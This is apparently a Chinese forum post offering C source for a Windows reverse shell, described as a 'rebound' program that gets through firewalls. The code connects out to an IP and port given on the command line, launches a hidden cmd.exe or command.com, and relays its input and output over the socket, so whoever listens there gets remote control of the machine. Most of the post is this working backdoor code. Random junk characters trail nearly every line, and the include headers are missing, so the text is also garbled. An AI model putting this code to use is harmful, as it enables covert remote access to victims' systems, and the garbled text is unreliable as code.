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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 |-*50j l  
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/* ============================== )OQ<H.X  
Rebound port in Windows NT "+&pd!\  
By wind,2006/7 up8d3  
===============================*/ >e.KD) qA  
#include X6t9*|C  
#include #J5_z#-Q;  
KMqGWO*  
#pragma comment(lib,"wsock32.lib") !vK0|eV3  
>6WZSw/Hq  
void OutputShell(); ?D9iCP~~  
SOCKET sClient; hG<[F@d  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; -nUK%a"(D  
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void main(int argc,char **argv) Lq.2vfA>  
{ 8sI$  
WSADATA stWsaData; XMP4YWuVc  
int nRet; _p9"MU&}  
SOCKADDR_IN stSaiClient,stSaiServer; Xnh&Kyz`v  
^PJN$BJx  
if(argc != 3) 7cB{Iq0+  
{ 7042?\\=  
printf("Useage:\n\rRebound DestIP DestPort\n"); .qYQ3G'V  
return; br k*;  
} -h ^MX  
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WSAStartup(MAKEWORD(2,2),&stWsaData); >X iT[Ru  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /yx)_x{  
}1Mf0S  
stSaiClient.sin_family = AF_INET; {+{p.  
stSaiClient.sin_port = htons(0); lMg#zT!?  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 3q@JhB  
NZ!I >  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) DC BN89#  
{ )^6Os2  
printf("Bind Socket Failed!\n"); `*kl>}$  
return; cmCD}Skk  
} 6<5:m:KE  
X$P(8'[9A  
stSaiServer.sin_family = AF_INET; jpW_q+^?  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ?0JNaf  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); i!RYrae  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) SwO$UqYU=  
{ CS-jDok  
printf("Connect Error!"); Ar?ZUASJ  
return; _T8S4s8q  
} Wy-y-wi:p  
OutputShell(); ;<b7kepR  
} C#)T$wl[E  
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void OutputShell() j]R[;8g  
{ T VSCjI  
char szBuff[1024]; Ux=B*m1@{  
SECURITY_ATTRIBUTES stSecurityAttributes; 0mmHN`<  
OSVERSIONINFO stOsversionInfo; gnxD'1_  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; r[GH#vF;7  
STARTUPINFO stStartupInfo; XsFzSm  
char *szShell; zA3r&stN+  
PROCESS_INFORMATION stProcessInformation; IQ-l%x[fue  
unsigned long lBytesRead; asmu<  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); #&L7FBJ"*v  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 3=Rk(%:;  
stSecurityAttributes.lpSecurityDescriptor = 0; 5e7\tBab  
stSecurityAttributes.bInheritHandle = TRUE; =43NSY  
L8 NZU*"  
OZ"76|H1`  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); !g=b=YK  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); s&$e}yxVO  
Zv-1*hhHf  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); f4+wP/n&  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `Gl[e4U  
stStartupInfo.wShowWindow = SW_HIDE; )<_qTd0`  
stStartupInfo.hStdInput = hReadPipe; eU e, P  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; lq, ]E/<&  
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GetVersionEx(&stOsversionInfo); UK,sMKbl1  
XAtRA1.  
switch(stOsversionInfo.dwPlatformId) =9 ^}>u  
{ QF*cdc<  
case 1: e#3RT8u#  
szShell = "command.com"; Acd@BL*  
break; h5-yhG  
default: YmjA!n  
szShell = "cmd.exe"; fy|I3  
break; m@w469&<(q  
} y"U)&1 c%  
mh SknyqT  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 1~LfR  
\n^[!e"`  
send(sClient,szMsg,77,0); pFwJ:  
while(1) 0]=Bqyg  
{ g)|vS>^~  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 734n1-F?I%  
if(lBytesRead) " *W# z  
{ [fo#){3K  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 3MKu!  
send(sClient,szBuff,lBytesRead,0); ucU7 @j  
} 7^LCP*  
else CQrP%}`r  
{ *W>, 98  
lBytesRead=recv(sClient,szBuff,1024,0); -"H0Qafm  
if(lBytesRead<=0) break; 19!;0fe=  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); X(3| (1;sV  
} T.-tV[2  
} zn_#}}e;G  
9$C?)XKXB  
return; X')l04P@%  
}
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